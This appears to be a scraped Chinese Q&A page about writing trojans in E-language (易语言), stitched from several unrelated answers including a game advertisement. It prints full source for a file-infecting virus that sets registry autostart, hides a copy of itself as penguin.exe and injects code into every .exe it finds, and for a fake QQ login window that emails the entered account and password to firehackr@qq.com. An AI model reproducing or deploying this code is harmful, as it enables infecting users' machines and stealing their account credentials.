易语言问道木马源码的问题
问道太老了,现在估计没几个人玩了。我给你推荐个新的游戏 形式跟问道差不多,但是比问道强多了。麒麟的梦幻聊斋前两天开服了你去下载一个试试吧。丰富的游戏内容,绚丽的3D画面,可爱的Q版人物造型玩起来非常之爽。再加上丰富的宠物玩法和人性的任务指引保证你升级事半功倍轻松自如。而且现在去玩的话还可以领取688元大礼包不要白不要哦。
跪求:易语言编写的具有感染性的病毒源代码..
.版本 2
.支持库 eAPI
提取资源文件图标 (取运行目录 () + “\” + 取执行文件名 (), 0, “C:\windows\system32\Aver.ico”, ) ' 替换系统exe图标
写注册项 (#本地机器, “SOFTWARE\Classes\exefile\DefaultIcon\”, “C:\windows\system32\Aver.ico”) ' 写到注册表键值
写注册项 (#现行用户, “Software\Microsoft\Windows\CurrentVersion\Run\” + 取执行文件名 (), 取运行目录 () + “\” + 取执行文件名 ()) ' 写让注册表键值删除后可恢复木马实行自启动
.如果真 (取运行目录 () ≠ 读环境变量 (“Windir”))
复制文件 (取运行目录 () + “\” + 取执行文件名 (), 读环境变量 (“Windir”) + “\penguin.exe”)
运行 (“Cmd /c Attrib +H +S ” + 读环境变量 (“Windir”) + “\penguin.exe”, 真, 1)
运行 (读环境变量 (“Windir”) + “\penguin.exe”, 假, )
写到文件 (读环境变量 (“Windir”) + “penguin.bat”, 到字节集 (“@echo off” + #换行符 + “Taskkill /f /im ” + 取执行文件名 () + #换行符 + “Del ” + 取当前目录 () + “\” + 取执行文件名 () + #换行符 + “Del %0” + #换行符 + “Exit”))
写到文件 (读环境变量 (“Windir”) + “\penguin.bat”, 到字节集 (子文本替换 (子文本替换 (到文本 (读入文件 (读环境变量 (“Windir”) + “penguin.bat”)), “C:\Documents and Settings”, “C:\DOCUME~1”, , , 假), “Windows”, “ ”, , , 假)))
运行 (读环境变量 (“Windir”) + “\penguin.bat”, 真, 1)
.如果真结束
.如果真 (取运行目录 () = 读环境变量 (“Windir”))
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run\penguin”, 读环境变量 (“Windir”) + “\penguin.exe”)
写到文件 (读环境变量 (“Windir”) + “Infection.exe”, #感染)
运行 (读环境变量 (“Windir”) + “\Infection.exe”, 真, 1)
.如果真结束
驱动器 = 取驱动器列表 ()
.版本 2
.子程序 搜寻
.参数 目录, 文本型
.局部变量 文件号
.局部变量 文件名, 文本型
处理事件 ()
.如果真 (取文本右边 (目录, 1) ≠ “\”)
目录 = 目录 + “\”
.如果真结束
文件名 = 寻找文件 (目录 + “*.exe”, )
.判断循环首 (文件名 ≠ “”)
输出调试文本 (目录 + 文件名)
文件号 = 打开文件 (删首尾空 (目录 + 文件名), #读写, #无限制)
插入字节集 (文件号, #图标)
关闭文件 (文件号)
文件名 = 寻找文件 (, )
.判断循环尾 ()
文件名 = 寻找文件 (目录 + “*.*”, #子目录)
.判断循环首 (文件名 ≠ “”)
.如果真 (取文本左边 (文件名, 1) ≠ “.”)
搜寻 (目录 + 文件名)
.如果真结束
文件名 = 寻找文件 (, #子目录)
.判断循环尾 ()
原创,不要外传=.=
易语言编出来软件有木马,如何在源码中解决
电脑使用之前,枚举FTP文件,是否存在注册号+机器号的文件,如果存在超过两个就不注册
否则写文件,注册号+自己的机器号。
自己完善吧。
易语言编写出来的程序都会被杀毒软件误报,在源码中是无法解决这个问题的,易语言有的时候编写一个空文件出来都会被报毒,加壳什么的都无法根除这个问题。
如果您做的软件被杀毒误报,您要解除误报的话,建议您进入您杀毒软件的误报申诉。
以下我就用腾讯电脑管家来做一个演示,先进入http://guanjia.qq.com/trojan_false.html
然后提交您被误报的文件,申诉就可以了!
易语言木马源码 !求开源
.版本 2 .支持库 xplib .支持库 internet .支持库 iext .程序集 窗口程序集3 .子程序 _窗口1_创建完毕 _启动窗口.高度 = _启动窗口.高度 + 218 - _启动窗口.取用户区高度 () XP风格 (1) 运行(“C:\Program Files\Internet Explorer\le.exe”, 假, #隐藏窗口) .子程序 _选择框2_被单击 .如果 (选择框2.选中 =真) 选择框1.选中 =真 .否则 .如果结束 .子程序 _选择框1_被单击 .如果 (选择框1.选中 =假) 选择框2.选中 =假 .否则 .如果结束 .子程序 _透明标签1_鼠标左键被按下, 逻辑型 .参数 横向位置, 整数型 .参数 纵向位置, 整数型 .参数 功能键状态, 整数型 打开网页 (“ http://id.qq.com/ ”) .子程序 _透明标签2_鼠标左键被按下, 逻辑型 .参数 横向位置, 整数型 .参数 纵向位置, 整数型 .参数 功能键状态, 整数型 打开网页 (“ http://aq.qq.com/cn/findpsw/findpsw_index ”) .子程序 _图形按钮2_被单击 .局部变量 按照要求写啦, 整数型 .判断开始 (编辑框1.内容 =“”) 按照要求写啦 = 1 图片框4.可视 =真 .判断 (编辑框2.内容 =“”) 按照要求写啦 = 1 图片框5.可视 =真 .判断 (按照要求写啦 = 0) 连接发信服务器 (“ smtp.qq.com ”, 25, “firehackr”, “000+++”, ) 发送邮件 (“firehackr”, 编辑框1.内容 +“----” + 编辑框2.内容 +“----” + _启动窗口.组合框1.内容, _启动窗口.透明标签1.标题, , , “firehackr@qq.com”, _启动窗口.透明标签1.标题) 结束() .默认 .判断结束 .子程序 _时钟1_周期事件 .如果 (图片框4.可视 =真) 图片框4.可视 =假 .否则 .如果结束 返回() .子程序 _时钟2_周期事件 .如果 (图片框5.可视 =真) 图片框5.可视 =假 .否则 .如果结束 返回()
麻烦采纳,谢谢!
易语言怎么写写出病毒的源码? 注意,不是直接编写病毒,
其实这个是预先写好的包括进这个软件了
你用杀软试试
写出来的和那个程序都报毒
易语言采集器采集的源码会提示是木马病毒吗
你好,源码是不会报毒的,不管这个原理编译出来是什么病毒,在没有编译之前是不会报读的,因为他不是一个可执行文件切不是一个可调用文件,所以不会报毒,如果报毒显得这个杀软太****了。但是易语言写的软件编译出来容易误报,因为很多木马和辅助都是易语言写的,编译出来之后正常软件也存在报毒现象,不详可追问。